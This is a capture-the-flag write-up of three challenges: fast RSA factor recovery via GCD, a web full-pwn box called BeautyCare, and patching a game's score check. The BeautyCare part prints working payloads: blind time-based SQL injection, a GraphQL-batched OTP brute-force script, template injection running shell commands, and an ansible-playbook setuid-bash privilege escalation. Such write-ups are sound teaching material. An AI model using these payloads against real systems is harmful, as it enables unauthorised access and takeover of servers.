Jaga Writeups

ManyRSA, BeautyCare, Jaga's Adventure

Challenges and thoughts

Thats Alot of RSA
Simple RSA challenge, though the time constraint meant that some extra thinking was needed

BeautyCare
A web fullpwn challenge, something like a regular HTB challenge (only given a vulnerable ip, the rest is up to you to figure out)

Jaga’s Adventure
Misc game hacking challenge, cheat engine is the default solution but I tried to do it semi-legit

Thats Alot of RSA

Setup

The server has 20,000 RSA private keys. We have the corresponding public keys. When we interact with the server, 200 moduli are generated by randomly sampling two private keys and combining a random prime from each.

The server sends us these moduli, and for each, we need to respond with any one of the factors. If we can do so within 10 seconds, we get the flag.

Solution 0

Naive Solution

We know that each given modulus, $n$, is composed of two primes, $n = pq$. Taking $p$, we know that there should be prime $r$ such that $pr \in P_\text{pub}$. Hence, there should exist $n’ \in P_\text{pub}$ sharing a factor with $n$, our target $p$. We may efficiently find this shared factor with the GCD operation, which takes about $O(\log (n n’))$ time. Sweeping over $P_\text{pub}$, it takes about $O(|P_\text{pub}| \log n)$.

Practical issues

How does this perform? With a very basic implementation:

1
2
3
4
5
6
7
8
9
t = time.time()
for n in ns:
for pub in pubs:
g = math.gcd(n, pub)
if g != 1:
break

print(time.time() - t)
# 16.711714506149292

It takes about 17 seconds on my computer, just on the GCD. Assuming io with the server takes about 2 seconds, we’d need to speed this up by more than double the time.

Better solution 1: Grouping

Consider what happens if we group some public moduli together. Let $|P_\text{pub}| = P$. Taking the product over $k$, then iterating over these larger moduli results in a runtime of $O(P/k \log (knn’)) = O(P \log k/k \log(n))$, a reduction by a factor of $\log k/k$!

However, there is a flaw in that we have not considered the cost incurred by large integers and CPU operations. While the preprocessing time is irrelevant when we start interacting with the server, it should still be realistic. Going though various values of $k$, we find the following table

$k$ $t$
1 (No grouping) 16.861217975616455
2 14.754406690597534
3 10.609652757644653
5 9.417319297790527
10 8.648439407348633
100 7.667241334915161
141 (sqrt 20000) 7.805389881134033
1000 8.19124984741211
10000 (20000/2) did not finish preprocessing

Additionally, for larger values of $k$, there is the non-negligible probability that both factors of $n$ are found within the group, hence the GCD operation would simply return $n$ itself. With that in mind, $100$ or $141$ seem to be a good enough tradeoff, with a low runtime and low probability of collision. Any collisions found can be settled by iterating the smaller factors directly.

Better solution 2: Multiprocessing

Alternatively, a faster, but more brute force approach is to make use of multiple processes. Here’s the idea:

We split the whole set of public moduli into $k$ groups of $P/k$. We then spawn $k$ simultaneous worker processes to handle one group each. We can then submit our query $n$ to each process, which will iterate their own subsets, effectively giving us $k$ times the speed. When one process finds a factor, a broadcast can be sent that not only informs us of the solution, but also tells the other workers to terminate and move on to the next query.

Worker process:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# subset of numbers, communication pipe, response dict
def gcdworker(N, pipe, res):
# recieve
r = pipe.recv()
while (r != "exit"):
try:
for n in N:
# if new query submitted, solution found already
if pipe.poll():
break
# test GCD
g = math.gcd(other, r)
if g != 1:
res[r] = g
break
except:
pass
r = pipe.recv()

Manager process:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from multiprocessing import Process, Pipe, Manager

# answers will go into d
m = Manager()
d = m.dict()

# create pipes and workers
workers = 8
chunks = 20000 // workers
pubchunks = [pubs[i:i+chunks] for i in range(0, len(pubs), chunks)]
pipes = [Pipe() for _ in range(len(pubchunks))]
ps = [Process(target=gcdworker, args=(c, pipes[i][1], d)) for i, c in enumerate(pubchunks)]

for proc in ps:
proc.start()

def query(n):
# submit to all workers
for pipe in pipes:
pipe[0].send(n)

# wait for answer
while not d.get(N, False):
pass

return d.get(N)

Including IO time, this method took around 7 seconds.

BeautyCare

Exploration

nmaping the given IP only revealed ports 22 (ssh) and 80 (tcp) open. Accessing port 80 just showed a generic landing page, with nothing particularly interesting in the source.

Further dirbusting port 80 revealed the /admin, /admin/admin_login.js and /graphql endpoints.

From reading the admin_login.js source we figured that we first had to login with a username and password, followed by a OTP challenge. With some experimenting, we found that the first login page was vulnerable to an SQL injection. For instance, the classic 'or 1=1-- payload resulted in

1
Error: ER_PARSE_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1

Username and password

From here, it was relatively simple to leak the username and password. Using the following payload:

1
' or exists (select username from users where (ascii(substring(password,{i},1)) < {x} and username='john') or sleep(1)) and ''='

It would be injected into something like

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
SELECT * 
FROM USERS
WHERE username = ''
or exists (
select username
from users
where (
ascii(
substring(username, {i}, 1)
) < {x}
)
or sleep(1)
)
and '' = 'and password = '''
)

Now, suppose that we queried with i = 1 and x = 93. If the first character of the username is anything after 93, then the ascii < x part of the inner where would be false. Hence, the next condition is run due to the or, causing a sleep of 1 second. On the other hand, if it were before 93, then the or execution short circuits, resulting in no sleep.

Based on how long the server took to respond, we gain information about the character of the username (or password), allowing us to binary search the correct character, eventually leaking the full string.

OTP

When reading the admin_login.js source, we noticed a possible error message occurs if you fail the OTP too many times.

1
2
3
4
5
6
7
8
9
if (
data.errors[0].message ===
"Total number of tries exceed! Please login again" ||
data.errors[0].message ===
"OTP expired! Please login again!" ||
data.errors[0].message === "Authentication required!"
) {
window.location.href = "/admin";
}

We didn’t check for an SQL injection but either way it wouldn’t be viable as it would take too many attempts. Instead, let’s look at the other component of this app, which has otherwise been ignored: the graphql endpoint.

Indeed, when searching for graphql multiple query on google, we stumbled upon https://graphql-api.com/guides/schema/executing-multiple-queries-concurrently/. graphql has a feature where you can batch multiple queries into one, only counting as one attempt!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mutation {
otp_0000(otp: "0000") {
token, message
}

otp_0001(otp: "0001") {
token, message
}

otp_0002(otp: "0002") {
token, message
}

...
}

We batched 1000 otps into one (too many would cause a body too large error), and hence only required 10 attempts at worst. If the otp was correct, we can extract the cookie and log in.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def graphql(x, session=None):
return requests.post("http://10.129.254.225/graphql",
json={"query": x},
**({"cookies": session} if session else {})
)

for i in range(10):
payload = "mutation {\n"
for otp_num in range(1000):
otp = f"{otp_num+i*1000:0>4}"
payload += f" o{otp}: verify2FA(otp: \"{otp}\") {{ message, token }}\n"
payload += "}"

r = graphql(payload, session={"session": cookie})

try:
print(i, list((x,y) for x,y in r.json()["data"].items() if y is not None))
except:
print(i, r.text)
time.sleep(0.5)

Templating

But that’s not all (sadly).

img

Entering the admin dashboard, we see a settings page for an email subscription, with a preview service.

img

Notably, it comes with a templating service, which is demonstrated by the CONFIRM_LINK variable. Could we perhaps run arbitary code in this manner? Indeed, testing !{1+1} gave us 2, but more excitingly, !{process} gave [object process]. With some attribute traversal, we obtained the first user flag.

1
!{process.mainModule.require('child_process').execSync('cat /home/john/user.txt')}

Ansible

Now, we needed the root flag. Checking what we could do as this user:

1
2
3
sudo -l
User john may run the following commands on beautycare:
(root) NOPASSWD: /usr/bin/ansible-playbook

Again with more googling (ansible privesc), we found this this ansible playbook, capable of escalating from user A to user B if A can run as B.

1
2
3
4
5
6
7
8
---               
- name: shell
hosts: localhost
become: yes

tasks:
- name: hack
shell: "cp /bin/bash . && chmod +sx bash"
1
2
sudo /usr/bin/ansible-playbook shell.yml
./bash -p

With that, we had root access and could get the root flag.

Jaga Almighty Grand Adventure

Setup

In this challenge, we’re given a flappy bird kind of executable and need to reach 69 points to get the flag.

Cheat Engine

Locating the points address

This being a game hacking challenge, cheat engine comes to mind. Let’s load it up:

We can start with a scan for the initial score, 0. It’s unlikely that the score would be stored in larger than 2 bytes, but let’s search with 4 bytes just in case.

After the first scan, we can play the game till we reach 1 point. Now we can re-enter cheat engine (and the game pauses for us when we lose focus, how nice) and do an exact search for 1.

Repeating this a few times,

We eventually find just one address.

Modifying

Now, we can try to modify our score with the inbuilt memory editor

But immediately, it changes right back. There seem to be some anti-cheat measures in place.

Bypass fail

Let’s move the address down to the address list, where we can try to make it inactive (freezes the value)

But sadly, it fails. Upon starting the game, the score changes back to 0, only returning to 70 when we game over.

Disassembly

Let’s dig into the disassembly a little.

img

Attaching the debugger, we find two instructions that write to this value.

image-20221210142835920

image-20221210142845117

image-20221210142852346

What seems to be happening is the score is being compared to rsi (first access). If it’s not less, it jumps to a section of code which resets the address to rsi (second access). This must be the anticheat measure!

image-20221210143213966

However, reading past that, we see a comparison between rsi and 0x45, which the disassembler has helpfully marked as 69. This is where the actual score check takes place. If it’s less than 69, it similarly jumps away.

Patching

With that in mind, let’s do some patching. Instead of cmp rsi, 45, let’s change it to something more achievable, 1

image-20221210155445411

Playing the game now,

image-20221210155719884